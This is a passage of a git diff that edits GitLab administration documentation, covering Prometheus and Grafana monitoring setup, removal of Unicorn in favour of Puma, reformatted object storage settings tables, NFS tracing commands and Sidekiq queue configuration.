| `geo_merge_request_diffs_failed` | Gauge | 13.4 | Number of syncable merge request diffs failed to sync on secondary | `url` |
| `geo_merge_request_diffs_registry` | Gauge | 13.4 | Number of merge request diffs in the registry | `url` |
+| `geo_merge_request_diffs_verification_total` | Gauge | 13.12 | Number of merge request diffs verifications tried on secondary | `url` |
+| `geo_merge_request_diffs_verified` | Gauge | 13.12 | Number of merge request diffs verified on secondary | `url` |
+| `geo_merge_request_diffs_verification_failed` | Gauge | 13.12 | Number of merge request diffs verifications failed on secondary | `url` |
| `geo_snippet_repositories` | Gauge | 13.4 | Number of snippets on primary | `url` |
| `geo_snippet_repositories_checksummed` | Gauge | 13.4 | Number of snippets checksummed on primary | `url` |
| `geo_snippet_repositories_checksum_failed` | Gauge | 13.4 | Number of snippets failed to calculate the checksum on primary | `url` |
@@ -308,20 +315,8 @@ Some basic Ruby runtime metrics are available:
| `ruby_process_proportional_memory_bytes` | Gauge | 13.0 | Memory usage by process (PSS/Proportional Set Size) |
| `ruby_process_start_time_seconds` | Gauge | 12.0 | UNIX timestamp of process start time |
-## Unicorn Metrics
-
-Unicorn specific metrics, when Unicorn is used.
-
-| Metric | Type | Since | Description |
-|:-----------------------------|:------|:------|:---------------------------------------------------|
-| `unicorn_active_connections` | Gauge | 11.0 | The number of active Unicorn connections (workers) |
-| `unicorn_queued_connections` | Gauge | 11.0 | The number of queued Unicorn connections |
-| `unicorn_workers` | Gauge | 12.0 | The number of Unicorn workers |
-
## Puma Metrics
-When Puma is used instead of Unicorn, the following metrics are available:
-
| Metric | Type | Since | Description |
|:--------------------------------- |:------- |:----- |:----------- |
| `puma_workers` | Gauge | 12.0 | Total number of workers |
@@ -352,8 +347,8 @@ instance (`cache`, `shared_state` etc.).
## Metrics shared directory
The GitLab Prometheus client requires a directory to store metrics data shared between multi-process services.
-Those files are shared among all instances running under Unicorn server.
-The directory must be accessible to all running Unicorn's processes, or
+Those files are shared among all instances running under Puma server.
+The directory must be accessible to all running Puma's processes, or
metrics can't function correctly.
This directory's location is configured using environment variable `prometheus_multiproc_dir`.
diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md
index 035c5b3ee7e..dd402f800e3 100644
--- a/doc/administration/monitoring/prometheus/index.md
+++ b/doc/administration/monitoring/prometheus/index.md
@@ -122,44 +122,28 @@ The steps below are the minimum necessary to configure a Monitoring node running
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
+ roles ['monitoring_role']
+
external_url 'http://gitlab.example.com'
- # Enable Prometheus
- prometheus['enable'] = true
+ # Prometheus
prometheus['listen_address'] = '0.0.0.0:9090'
prometheus['monitor_kubernetes'] = false
- # Enable Login form
- grafana['disable_login_form'] = false
-
- # Enable Grafana
+ # Grafana
grafana['enable'] = true
grafana['admin_password'] = 'toomanysecrets'
+ grafana['disable_login_form'] = false
# Enable service discovery for Prometheus
consul['enable'] = true
consul['monitoring_service_discovery'] = true
-
- # The addresses can be IPs or FQDNs
- consul['configuration'] = {
- retry_join: %w(10.0.0.1 10.0.0.2 10.0.0.3),
+ consul['configuration'] = {
+ retry_join: %w(10.0.0.1 10.0.0.2 10.0.0.3), # The addresses can be IPs or FQDNs
}
- # Disable all other services
- gitlab_rails['auto_migrate'] = false
- alertmanager['enable'] = false
- gitaly['enable'] = false
- gitlab_exporter['enable'] = false
- gitlab_workhorse['enable'] = false
+ # Nginx - For Grafana access
nginx['enable'] = true
- postgres_exporter['enable'] = false
- postgresql['enable'] = false
- redis['enable'] = false
- redis_exporter['enable'] = false
- sidekiq['enable'] = false
- puma['enable'] = false
- node_exporter['enable'] = false
- gitlab_exporter['enable'] = false
```
1. Run `sudo gitlab-ctl reconfigure` to compile the configuration.
@@ -227,7 +211,7 @@ To use an external Prometheus server:
gitlab_rails['monitoring_whitelist'] = ['127.0.0.0/8', '192.168.0.1']
```
-1. On **all** GitLab Rails(Puma/Unicorn, Sidekiq) servers, set the Prometheus server IP address and listen port. For example:
+1. On **all** GitLab Rails(Puma, Sidekiq) servers, set the Prometheus server IP address and listen port. For example:
```ruby
gitlab_rails['prometheus_address'] = '192.168.0.1:9090'
diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md
index c49a2c20ed2..e53f2af3440 100644
--- a/doc/administration/nfs.md
+++ b/doc/administration/nfs.md
@@ -5,11 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Using NFS with GitLab
+# Using NFS with GitLab **(FREE SELF)**
NFS can be used as an alternative for object storage but this isn't typically
-recommended for performance reasons. Note however it is required for [GitLab
-Pages](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196).
+recommended for performance reasons.
For data objects such as LFS, Uploads, Artifacts, etc., an [Object Storage service](object_storage.md)
is recommended over NFS where possible, due to better performance.
@@ -17,7 +16,7 @@ is recommended over NFS where possible, due to better performance.
File system performance can impact overall GitLab performance, especially for
actions that read or write to Git repositories. For steps you can use to test
file system performance, see
-[File system Performance Benchmarking](operations/filesystem_benchmarking.md).
+[File System Performance Benchmarking](operations/filesystem_benchmarking.md).
## Gitaly and NFS deprecation
@@ -445,11 +444,11 @@ In case of NFS-related problems, it can be helpful to trace
the file system requests that are being made by using `perf`:
```shell
-sudo perf trace -e 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn)
+sudo perf trace -e 'nfs4:*' -p $(pgrep -fd ',' puma)
```
On Ubuntu 16.04, use:
```shell
-sudo perf trace --no-syscalls --event 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn)
+sudo perf trace --no-syscalls --event 'nfs4:*' -p $(pgrep -fd ',' puma)
```
diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md
index d133e8c3721..f1025bd1846 100644
--- a/doc/administration/object_storage.md
+++ b/doc/administration/object_storage.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Object Storage
+# Object storage **(FREE SELF)**
GitLab supports using an object storage service for holding numerous types of data.
It's recommended over NFS and
@@ -29,7 +29,7 @@ GitLab has been tested on a number of object storage providers:
- Dell EMC ECS: Prior to GitLab 13.3, there is a [known bug in GitLab Workhorse that prevents
HTTP Range Requests from working with CI job artifacts](https://gitlab.com/gitlab-org/gitlab/-/issues/223806).
- Be sure to upgrade to GitLab v13.3.0 or above if you use S3 storage with this hardware.
+ Be sure to upgrade to GitLab 13.3.0 or above if you use S3 storage with this hardware.
- Ceph S3 prior to [Kraken 11.0.2](https://ceph.com/releases/kraken-11-0-2-released/) does not support the [Upload Copy Part API](https://gitlab.com/gitlab-org/gitlab/-/issues/300604). You may need to [disable multi-threaded copying](#multi-threaded-copying).
@@ -47,7 +47,7 @@ For more information on the differences and to transition from one form to anoth
### Consolidated object storage configuration
-> Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4368).
+> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4368) in GitLab 13.2.
Using the consolidated object storage configuration has a number of advantages:
@@ -209,13 +209,13 @@ gitlab_rails['object_store']['connection'] = {
}
```
-| Setting | Description |
-|---------|-------------|
-| `enabled` | Enable/disable object storage |
-| `proxy_download` | Set to `true` to [enable proxying all files served](#proxy-download). Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data |
-| `connection` | Various [connection options](#connection-settings) described below |
-| `storage_options` | Options to use when saving new objects, such as [server side encryption](#server-side-encryption-headers). Introduced in GitLab 13.3 |
-| `objects` | [Object-specific configuration](#object-specific-configuration)
+| Setting | Description |
+|-------------------|-----------------------------------|
+| `enabled` | Enable or disable object storage. |
+| `proxy_download` | Set to `true` to [enable proxying all files served](#proxy-download). Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. |
+| `connection` | Various [connection options](#connection-settings) described below. |
+| `storage_options` | Options to use when saving new objects, such as [server side encryption](#server-side-encryption-headers). Introduced in GitLab 13.3. |
+| `objects` | [Object-specific configuration](#object-specific-configuration). |
### Connection settings
@@ -226,27 +226,27 @@ in the `connection` setting.
The connection settings match those provided by [fog-aws](https://github.com/fog/fog-aws):
-| Setting | Description | Default |
-|---------|-------------|---------|
-| `provider` | Always `AWS` for compatible hosts | `AWS` |
-| `aws_access_key_id` | AWS credentials, or compatible | |
-| `aws_secret_access_key` | AWS credentials, or compatible | |
-| `aws_signature_version` | AWS signature version to use. `2` or `4` are valid options. Digital Ocean Spaces and other providers may need `2`. | `4` |
-| `enable_signature_v4_streaming` | Set to `true` to enable HTTP chunked transfers with [AWS v4 signatures](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-streaming.html). Oracle Cloud S3 needs this to be `false`. | `true` |
-| `region` | AWS region. | |
-| `host` | S3 compatible host for when not using AWS, e.g. `localhost` or `storage.example.com`. HTTPS and port 443 is assumed. | `s3.amazonaws.com` |
-| `endpoint` | Can be used when configuring an S3 compatible service such as [MinIO](https://min.io), by entering a URL such as `http://127.0.0.1:9000`. This takes precedence over `host`. | (optional) |
-| `path_style` | Set to `true` to use `host/bucket_name/object` style paths instead of `bucket_name.host/object`. Leave as `false` for AWS S3. | `false` |
-| `use_iam_profile` | Set to `true` to use IAM profile instead of access keys | `false`
+| Setting | Description | Default |
+|---------------------------------|------------------------------------|---------|
+| `provider` | Always `AWS` for compatible hosts. | `AWS` |
+| `aws_access_key_id` | AWS credentials, or compatible. | |
+| `aws_secret_access_key` | AWS credentials, or compatible. | |
+| `aws_signature_version` | AWS signature version to use. `2` or `4` are valid options. Digital Ocean Spaces and other providers may need `2`. | `4` |
+| `enable_signature_v4_streaming` | Set to `true` to enable HTTP chunked transfers with [AWS v4 signatures](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-streaming.html). Oracle Cloud S3 needs this to be `false`. | `true` |
+| `region` | AWS region. | |
+| `host` | S3 compatible host for when not using AWS. For example, `localhost` or `storage.example.com`. HTTPS and port 443 is assumed. | `s3.amazonaws.com` |
+| `endpoint` | Can be used when configuring an S3 compatible service such as [MinIO](https://min.io), by entering a URL such as `http://127.0.0.1:9000`. This takes precedence over `host`. | (optional) |
+| `path_style` | Set to `true` to use `host/bucket_name/object` style paths instead of `bucket_name.host/object`. Leave as `false` for AWS S3. | `false`. |
+| `use_iam_profile` | Set to `true` to use IAM profile instead of access keys. | `false` |
#### Oracle Cloud S3 connection settings
Note that Oracle Cloud S3 must be sure to use the following settings:
-| Setting | Value |
-|---------|-------|
+| Setting | Value |
+|---------------------------------|---------|
| `enable_signature_v4_streaming` | `false` |
-| `path_style` | `true` |
+| `path_style` | `true` |
If `enable_signature_v4_streaming` is set to `true`, you may see the
following error in `production.log`:
@@ -259,13 +259,13 @@ STREAMING-AWS4-HMAC-SHA256-PAYLOAD is not supported
Here are the valid connection parameters for GCS:
-| Setting | Description | example |
-|---------|-------------|---------|
-| `provider` | The provider name | `Google` |
-| `google_project` | GCP project name | `gcp-project-12345` |
-| `google_client_email` | The email address of the service account | `foo@gcp-project-12345.iam.gserviceaccount.com` |
-| `google_json_key_location` | The JSON key path | `/path/to/gcp-project-12345-abcde.json` |
-| `google_application_default` | Set to `true` to use [Google Cloud Application Default Credentials](https://cloud.google.com/docs/authentication/production#automatically) to locate service account credentials. |
+| Setting | Description | Example |
+|------------------------------|-------------------|---------|
+| `provider` | Provider name. | `Google` |
+| `google_project` | GCP project name. | `gcp-project-12345` |
+| `google_client_email` | Email address of the service account. | `foo@gcp-project-12345.iam.gserviceaccount.com` |
+| `google_json_key_location` | JSON key path. | `/path/to/gcp-project-12345-abcde.json` |
+| `google_application_default` | Set to `true` to use [Google Cloud Application Default Credentials](https://cloud.google.com/docs/authentication/production#automatically) to locate service account credentials. | |
The service account must have permission to access the bucket. Learn more
in Google's
@@ -328,12 +328,12 @@ The following are the valid connection parameters for Azure. Read the
[Azure Blob storage documentation](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
to learn more.
-| Setting | Description | Example |
-|---------|-------------|---------|
-| `provider` | Provider name | `AzureRM` |
-| `azure_storage_account_name` | Name of the Azure Blob Storage account used to access the storage | `azuretest` |
-| `azure_storage_access_key` | Storage account access key used to access the container. This is typically a secret, 512-bit encryption key encoded in base64. | `czV2OHkvQj9FKEgrTWJRZVRoV21ZcTN0Nnc5eiRDJkYpSkBOY1JmVWpYbjJy\nNHU3eCFBJUQqRy1LYVBkU2dWaw==\n` |
-| `azure_storage_domain` | Domain name used to contact the Azure Blob Storage API (optional). Defaults to `blob.core.windows.net`. Set this if you are using Azure China, Azure Germany, Azure US Government, or some other custom Azure domain. | `blob.core.windows.net` |
+| Setting | Description | Example |
+|------------------------------|----------------|-----------|
+| `provider` | Provider name. | `AzureRM` |
+| `azure_storage_account_name` | Name of the Azure Blob Storage account used to access the storage. | `azuretest` |
+| `azure_storage_access_key` | Storage account access key used to access the container. This is typically a secret, 512-bit encryption key encoded in base64. | `czV2OHkvQj9FKEgrTWJRZVRoV21ZcTN0Nnc5eiRDJkYpSkBOY1JmVWpYbjJy\nNHU3eCFBJUQqRy1LYVBkU2dWaw==\n` |
+| `azure_storage_domain` | Domain name used to contact the Azure Blob Storage API (optional). Defaults to `blob.core.windows.net`. Set this if you are using Azure China, Azure Germany, Azure US Government, or some other custom Azure domain. | `blob.core.windows.net` |
##### Azure example (consolidated form)
@@ -382,15 +382,15 @@ consolidated form, see the [S3 settings](#s3-compatible-connection-settings).
Here are the valid connection settings for the Swift API, provided by
[fog-openstack](https://github.com/fog/fog-openstack):
-| Setting | Description | Default |
-|---------|-------------|---------|
-| `provider` | Always `OpenStack` for compatible hosts | `OpenStack` |
-| `openstack_username` | OpenStack username | |
-| `openstack_api_key` | OpenStack API key | |
+| Setting | Description | Default |
+|--------------------------|----------------------|---------|
+| `provider` | Always `OpenStack` for compatible hosts. | `OpenStack` |
+| `openstack_username` | OpenStack username. | |
+| `openstack_api_key` | OpenStack API key. | |
| `openstack_temp_url_key` | OpenStack key for generating temporary URLs | |
-| `openstack_auth_url` | OpenStack authentication endpoint | |
-| `openstack_region` | OpenStack region | |
-| `openstack_tenant` | OpenStack tenant ID |
+| `openstack_auth_url` | OpenStack authentication endpoint | |
+| `openstack_region` | OpenStack region. | |
+| `openstack_tenant` | OpenStack tenant ID. | |
#### Rackspace Cloud Files
@@ -400,13 +400,13 @@ Rackspace Cloud, provided by [fog-rackspace](https://github.com/fog/fog-rackspac
This isn't compatible with the consolidated object storage form.
Rackspace Cloud is supported only with the storage-specific form.
-| Setting | Description | example |
-|---------|-------------|---------|
-| `provider` | The provider name | `Rackspace` |
-| `rackspace_username` | The username of the Rackspace account with access to the container | `joe.smith` |
-| `rackspace_api_key` | The API key of the Rackspace account with access to the container | `ABC123DEF456ABC123DEF456ABC123DE` |
-| `rackspace_region` | The Rackspace storage region to use, a three letter code from the [list of service access endpoints](https://docs.rackspace.com/docs/cloud-files/v1/general-api-info/service-access/) | `iad` |
-| `rackspace_temp_url_key` | The private key you have set in the Rackspace API for [temporary URLs](https://docs.rackspace.com/docs/cloud-files/v1/use-cases/public-access-to-your-cloud-files-account/#tempurl). | `ABC123DEF456ABC123DEF456ABC123DE` |
+| Setting | Description | Example |
+|--------------------------|----------------|-------------|
+| `provider` | Provider name. | `Rackspace` |
+| `rackspace_username` | Username of the Rackspace account with access to the container. | `joe.smith` |
+| `rackspace_api_key` | API key of the Rackspace account with access to the container. | `ABC123DEF456ABC123DEF456ABC123DE` |
+| `rackspace_region` | Rackspace storage region to use, a three letter code from the [list of service access endpoints](https://docs.rackspace.com/docs/cloud-files/v1/general-api-info/service-access/). | `iad` |
+| `rackspace_temp_url_key` | Private key you set in the Rackspace API for [temporary URLs](https://docs.rackspace.com/docs/cloud-files/v1/use-cases/public-access-to-your-cloud-files-account/#tempurl). | `ABC123DEF456ABC123DEF456ABC123DE` |
Regardless of whether the container has public access enabled or disabled, Fog
uses the TempURL method to grant access to LFS objects. If you see error
@@ -465,24 +465,24 @@ gitlab_rails['object_store']['objects']['pages']['bucket'] = 'pages'
This is the list of valid `objects` that can be used:
-| Type | Description |
-|--------------------|---------------|
-| `artifacts` | [CI artifacts](job_artifacts.md) |
-| `external_diffs` | [Merge request diffs](merge_request_diffs.md) |
-| `uploads` | [User uploads](uploads.md) |
-| `lfs` | [Git Large File Storage objects](lfs/index.md) |
-| `packages` | [Project packages (e.g. PyPI, Maven, NuGet, etc.)](packages/index.md) |
-| `dependency_proxy` | [GitLab Dependency Proxy](packages/dependency_proxy.md) |
-| `terraform_state` | [Terraform state files](terraform_state.md) |
-| `pages` | [GitLab Pages](pages/index.md) |
+| Type | Description |
+|--------------------|----------------------------------------------------------------------------|
+| `artifacts` | [CI artifacts](job_artifacts.md) |
+| `external_diffs` | [Merge request diffs](merge_request_diffs.md) |
+| `uploads` | [User uploads](uploads.md) |
+| `lfs` | [Git Large File Storage objects](lfs/index.md) |
+| `packages` | [Project packages (for example, PyPI, Maven, or NuGet)](packages/index.md) |
+| `dependency_proxy` | [GitLab Dependency Proxy](packages/dependency_proxy.md) |
+| `terraform_state` | [Terraform state files](terraform_state.md) |
+| `pages` | [GitLab Pages](pages/index.md) |
Within each object type, three parameters can be defined:
-| Setting | Required? | Description |
-|------------------|-----------|-------------|
-| `bucket` | Yes | The bucket name for the object storage. |
-| `enabled` | No | Overrides the common parameter |
-| `proxy_download` | No | Overrides the common parameter |
+| Setting | Required? | Description |
+|------------------|------------------------|-------------------------------------|
+| `bucket` | **{check-circle}** Yes | Bucket name for the object storage. |
+| `enabled` | **{dotted-circle}** No | Overrides the common parameter. |
+| `proxy_download` | **{dotted-circle}** No | Overrides the common parameter. |
#### Selectively disabling object storage
@@ -542,21 +542,21 @@ original configuration (for example, `artifacts_object_store_enabled`, or
For configuring object storage in GitLab 13.1 and earlier, or for storage types not
supported by consolidated configuration form, refer to the following guides:
-|Object storage type|Supported by consolidated configuration?|
-|-------------------|----------------------------------------|
-| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No |
-| [Job artifacts](job_artifacts.md#using-object-storage) including archived job logs | Yes |
-| [LFS objects](lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
-| [Uploads](uploads.md#using-object-storage) | Yes |
-| [Container Registry](packages/container_registry.md#use-object-storage) (optional feature) | No |
-| [Merge request diffs](merge_request_diffs.md#using-object-storage) | Yes |
-| [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No |
-| [Packages](packages/index.md#using-object-storage) (optional feature) | Yes |
-| [Dependency Proxy](packages/dependency_proxy.md#using-object-storage) (optional feature) **(PREMIUM SELF)** | Yes |
-| [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No |
-| [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No |
-| [Terraform state files](terraform_state.md#using-object-storage) | Yes |
-| [GitLab Pages content](pages/index.md#using-object-storage) | Yes |
+| Object storage type | Supported by consolidated configuration? |
+|---------------------|------------------------------------------|
+| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | **{dotted-circle}** No |
+| [Job artifacts](job_artifacts.md#using-object-storage) including archived job logs | **{check-circle}** Yes |
+| [LFS objects](lfs/index.md#storing-lfs-objects-in-remote-object-storage) | **{check-circle}** Yes |
+| [Uploads](uploads.md#using-object-storage) | **{check-circle}** Yes |
+| [Container Registry](packages/container_registry.md#use-object-storage) (optional feature) | **{dotted-circle}** No |
+| [Merge request diffs](merge_request_diffs.md#using-object-storage) | **{check-circle}** Yes |
+| [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| **{dotted-circle}** No |
+| [Packages](packages/index.md#using-object-storage) (optional feature) | **{check-circle}** Yes |
+| [Dependency Proxy](packages/dependency_proxy.md#using-object-storage) (optional feature) **(PREMIUM SELF)** | **{check-circle}** Yes |
+| [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | **{dotted-circle}** No |
+| [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | **{dotted-circle}** No |
+| [Terraform state files](terraform_state.md#using-object-storage) | **{check-circle}** Yes |
+| [GitLab Pages content](pages/index.md#using-object-storage) | **{check-circle}** Yes |
### Other alternatives to file system storage
@@ -618,20 +618,20 @@ This can result in some of the following problems:
- If GitLab is using non-secure HTTP to access the object storage, clients may generate
`https->http` downgrade errors and refuse to process the redirect. The solution to this
-is for GitLab to use HTTPS. LFS, for example, will generate this error:
+is for GitLab to use HTTPS. LFS, for example, generates this error:
```plaintext
LFS: lfsapi/client: refusing insecure redirect, https->http
```
-- Clients will need to trust the certificate authority that issued the object storage
+- Clients need to trust the certificate authority that issued the object storage
certificate, or may return common TLS errors such as:
```plaintext
x509: certificate signed by unknown authority
```
-- Clients will need network access to the object storage.
+- Clients need network access to the object storage.
Network firewalls could block access.
Errors that might result
if this access is not in place include:
@@ -667,7 +667,7 @@ The first option is recommended for MinIO. Otherwise, the
is to use the `--compat` parameter on the server.
Without consolidated object store configuration or instance profiles enabled,
-GitLab Workhorse will upload files to S3 using pre-signed URLs that do
+GitLab Workhorse uploads files to S3 using pre-signed URLs that do
not have a `Content-MD5` HTTP header computed for them. To ensure data
is not corrupted, Workhorse checks that the MD5 hash of the data sent
equals the ETag header returned from the S3 server. When encryption is
@@ -683,7 +683,7 @@ eliminates the need to compare ETag headers returned from the S3 server.
Instead of supplying AWS access and secret keys in object storage
configuration, GitLab can be configured to use IAM roles to set up an
[Amazon instance profile](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2.html).
-When this is used, GitLab will fetch temporary credentials each time an
+When this is used, GitLab fetches temporary credentials each time an
S3 bucket is accessed, so no hard-coded values are needed in the
configuration.
@@ -709,10 +709,10 @@ only encrypted objects are uploaded](https://aws.amazon.com/premiumsupport/knowl
To do this, you must configure GitLab to send the proper encryption headers
in the `storage_options` configuration section:
-| Setting | Description |
-|-------------------------------------|-------------|
-| `server_side_encryption` | Encryption mode (`AES256` or `aws:kms`) |
-| `server_side_encryption_kms_key_id` | Amazon Resource Name. Only needed when `aws:kms` is used in `server_side_encryption`. See the [Amazon documentation on using KMS encryption](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingKMSEncryption.html) |
+| Setting | Description |
+|-------------------------------------|------------------------------------------|
+| `server_side_encryption` | Encryption mode (`AES256` or `aws:kms`). |
+| `server_side_encryption_kms_key_id` | Amazon Resource Name. Only needed when `aws:kms` is used in `server_side_encryption`. See the [Amazon documentation on using KMS encryption](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingKMSEncryption.html). |
As with the case for default encryption, these options only work when
the Workhorse S3 client is enabled. One of the following two conditions
@@ -721,7 +721,7 @@ must be fulfilled:
- `use_iam_profile` is `true` in the connection settings.
- Consolidated object storage settings are in use.
-[ETag mismatch errors](#etag-mismatch) will occur if server side
+[ETag mismatch errors](#etag-mismatch) occur if server side
encryption headers are used without enabling the Workhorse S3 client.
##### Disabling the feature
diff --git a/doc/administration/operations/cleaning_up_redis_sessions.md b/doc/administration/operations/cleaning_up_redis_sessions.md
index 6513a4ed4c8..194dd8f39e2 100644
--- a/doc/administration/operations/cleaning_up_redis_sessions.md
+++ b/doc/administration/operations/cleaning_up_redis_sessions.md
@@ -25,7 +25,7 @@ NOTE:
The instructions below must be modified in accordance with your
configuration settings if you have used the advanced Redis
settings outlined in
-[Configuration Files Documentation](https://gitlab.com/gitlab-org/gitlab/blob/master/config/README.md).
+[Configuration Files Documentation](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/README.md).
First we define a shell function with the proper Redis connection details.
diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md
index 6b8d6f3bf1e..ed89d11da75 100644
--- a/doc/administration/operations/extra_sidekiq_processes.md
+++ b/doc/administration/operations/extra_sidekiq_processes.md
@@ -18,8 +18,8 @@ The information in this page applies only to Omnibus GitLab.
For a list of the existing Sidekiq queues, check the following files:
-- [Queues for both GitLab Community and Enterprise Editions](https://gitlab.com/gitlab-org/gitlab/blob/master/app/workers/all_queues.yml)
-- [Queues for GitLab Enterprise Editions only](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/all_queues.yml)
+- [Queues for both GitLab Community and Enterprise Editions](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/all_queues.yml)
+- [Queues for GitLab Enterprise Editions only](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/all_queues.yml)
Each entry in the above files represents a queue on which Sidekiq processes
can be started.
@@ -38,11 +38,11 @@ To start multiple processes:
process, and values in each item determine the queues it works on.
For example, the following setting creates three Sidekiq processes, one to run on
- `elastic_indexer`, one to run on `mailers`, and one process running on all queues:
+ `elastic_commit_indexer`, one to run on `mailers`, and one process running on all queues:
```ruby
sidekiq['queue_groups'] = [
- "elastic_indexer",
+ "elastic_commit_indexer",
"mailers",
"*"
]
@@ -53,7 +53,7 @@ To start multiple processes:
```ruby
sidekiq['queue_groups'] = [
- "elastic_indexer, elastic_commit_indexer",
+ "elastic_commit_indexer, elastic_association_indexer",
"mailers",
"*"
]
@@ -70,11 +70,11 @@ To start multiple processes:
]
```
- `*` cannot be combined with concrete queue names - `*, mailers` will
- just handle the `mailers` queue.
+ `*` cannot be combined with concrete queue names - `*, mailers`
+ just handles the `mailers` queue.
When `sidekiq-cluster` is only running on a single node, make sure that at least
- one process is running on all queues using `*`. This means a process will
+ one process is running on all queues using `*`. This means a process is
This includes queues that have dedicated processes.
If `sidekiq-cluster` is running on more than one node, you can also use
@@ -116,83 +116,10 @@ you list:
> - [Sidekiq cluster, including queue selector, moved](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/181) to GitLab Free in 12.10.
> - [Renamed from `experimental_queue_selector` to `queue_selector`](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/147) in GitLab 13.6.
-In addition to selecting queues by name, as above, the `queue_selector`
-option allows queue groups to be selected in a more general way using
-the following components:
-
-- Attributes that can be selected.
-- Operators used to construct a query.
-
-When `queue_selector` is set, all `queue_groups` must be in the queue
-selector syntax.
-
-### Available attributes
-
-- [Introduced](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/261) in GitLab 13.1, `tags`.
-
-From the [list of all available
-attributes](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/all_queues.yml),
-`queue_selector` allows selecting of queues by the following attributes:
-
-- `feature_category` - the [GitLab feature
- category](https://about.gitlab.com/direction/maturity/#category-maturity) the
- queue belongs to. For example, the `merge` queue belongs to the
- `source_code_management` category.
-- `has_external_dependencies` - whether or not the queue connects to external
- services. For example, all importers have this set to `true`.
-- `urgency` - how important it is that this queue's jobs run
- quickly. Can be `high`, `low`, or `throttled`. For example, the
- `authorized_projects` queue is used to refresh user permissions, and
- is high urgency.
-- `worker_name` - the worker name. The other attributes are typically more useful as
- they are more general, but this is available in case a particular worker needs
- to be selected.
-- `name` - the queue name. Similiarly, this is available in case a particular queue needs
- to be selected.
-- `resource_boundary` - if the queue is bound by `cpu`, `memory`, or
- `unknown`. For example, the `project_export` queue is memory bound as it has
- to load data in memory before saving it for export.
-- `tags` - short-lived annotations for queues. These are expected to frequently
- change from release to release, and may be removed entirely.
-
-`has_external_dependencies` is a boolean attribute: only the exact
-string `true` is considered true, and everything else is considered
-false.
-
-`tags` is a set, which means that `=` checks for intersecting sets, and
-`!=` checks for disjoint sets. For example, `tags=a,b` selects queues
-that have tags `a`, `b`, or both. `tags!=a,b` selects queues that have
-neither of those tags.
-
-### Available operators
-
-`queue_selector` supports the following operators, listed from highest
-to lowest precedence:
-
-- `|` - the logical OR operator. For example, `query_a|query_b` (where `query_a`
- and `query_b` are queries made up of the other operators here) will include
- queues that match either query.
-- `&` - the logical AND operator. For example, `query_a&query_b` (where
- `query_a` and `query_b` are queries made up of the other operators here) will
- only include queues that match both queries.
-- `!=` - the NOT IN operator. For example, `feature_category!=issue_tracking`
- excludes all queues from the `issue_tracking` feature category.
-- `=` - the IN operator. For example, `resource_boundary=cpu` includes all
- queues that are CPU bound.
-- `,` - the concatenate set operator. For example,
- `feature_category=continuous_integration,pages` includes all queues from
- either the `continuous_integration` category or the `pages` category. This
- example is also possible using the OR operator, but allows greater brevity, as
- well as being lower precedence.
-
-The operator precedence for this syntax is fixed: it's not possible to make AND
-have higher precedence than OR.
-
-[In GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26594) and
-later, as with the standard queue group syntax above, a single `*` as the
-entire queue group selects all queues.
-
-### Example queries
+In addition to selecting queues by name, as above, the `queue_selector` option
+allows queue groups to be selected in a more general way using a [worker matching
+query](extra_sidekiq_routing.md#worker-matching-query). After `queue_selector`
+is set, all `queue_groups` must follow the aforementioned syntax.
In `/etc/gitlab/gitlab.rb`:
@@ -215,7 +142,7 @@ WARNING:
Sidekiq cluster is [scheduled](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/240)
to be the only way to start Sidekiq in GitLab 14.0.
-By default, the Sidekiq service will run `sidekiq-cluster`. To disable this behavior,
+By default, the Sidekiq service runs `sidekiq-cluster`. To disable this behavior,
add the following to the Sidekiq configuration:
```ruby
@@ -224,7 +151,7 @@ sidekiq['cluster'] = false
```
All of the aforementioned configuration options for `sidekiq`
-are available. By default, they will be configured as follows:
+are available. By default, they are configured as follows:
```ruby
sidekiq['queue_selector'] = false
@@ -241,14 +168,14 @@ cluster as above.
When disabling `sidekiq_cluster`, you must copy your configuration for
`sidekiq_cluster`over to `sidekiq`. Anything configured for
